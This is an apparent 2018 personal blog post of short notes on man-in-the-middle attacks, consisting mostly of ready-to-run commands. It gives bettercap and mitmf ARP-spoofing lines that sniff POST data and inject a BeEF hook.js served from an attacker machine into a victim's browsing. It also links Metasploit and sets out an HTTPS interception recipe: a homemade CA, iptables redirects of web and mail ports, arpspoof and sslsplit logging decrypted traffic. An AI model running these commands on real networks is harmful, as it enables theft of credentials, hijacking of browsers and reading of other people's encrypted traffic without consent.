𝛑
𝛑
Posts List
  1. sniffer (ICMP/ARP)
  2. hook.js and msfconsole
  3. HTTPS MITM
  4. Resources

Notes on Man-in-the-Middle (MITM) Attacks

Feb 13, 2018 Felix Zhao 中文 414 words ~2 min read
This post was written in 2018. Tools and versions mentioned may be outdated, though the underlying ideas still hold.

sniffer (ICMP/ARP)

bettercap -I enp0s31f6 -T 172.16.10.232 -S ARP -X --sniffer --proxy -P POST --log-timestamp --log /root/Desktop/232 --silent

hook.js and msfconsole

  • beef

    vim config.yaml
    vim extensions/metasploit/config.yaml

  • metasploit

    load msgrpc ServerHost=172.16.10.222 Pass=abc123 SSL=y

    If you skip SSL, just make sure ssl_vertify is set to false in the beef config file.

  • start beef

  • Inject js

    bettercap -I enp0s31f6 -T 172.16.10.246 -S ARP -X --sniffer --proxy -P POST --proxy --proxy-module injectjs --js-url http://172.16.10.222:3000/hook.js

    Check help: bettercap --proxy-module injectjs -h

I tried mitmf for a bit — honestly not as smooth as bettercap. Here’s the mitmf way: python mitmf.py -i enp0s31f6 --arp --spoof --target 172.16.10.246 --gateway 172.16.10.1 --hsts --inject --js-url http://172.16.10.222:3000/hook.js

If there’s a port conflict, edit mitmf.conf in the config directory. Both tools need root.

HTTPS MITM

  • apt-get install libssl-dev libevent-dev

openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443
arpspoof -i eth0 -t target -r gateway
sslsplit -D -l connect.log -j  ./test -S ./log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
# port numbers match what you set for forwarding above
  • What are the different DNS spoofing techniques?
  • Besides DNS, what other MITM attack vectors are there?
  • How does DNS data exfiltration work, and what tools support it?
  • How do you defend against sniffing and data leakage on an internal network?
  • How do you use bettercap’s proxy modules?
  • What’s the actual difference between sslsplit and sslstrip under the hood?
  • What other internal network attack methods are out there?
  • How does this compare to tools like mitmproxy?

Resources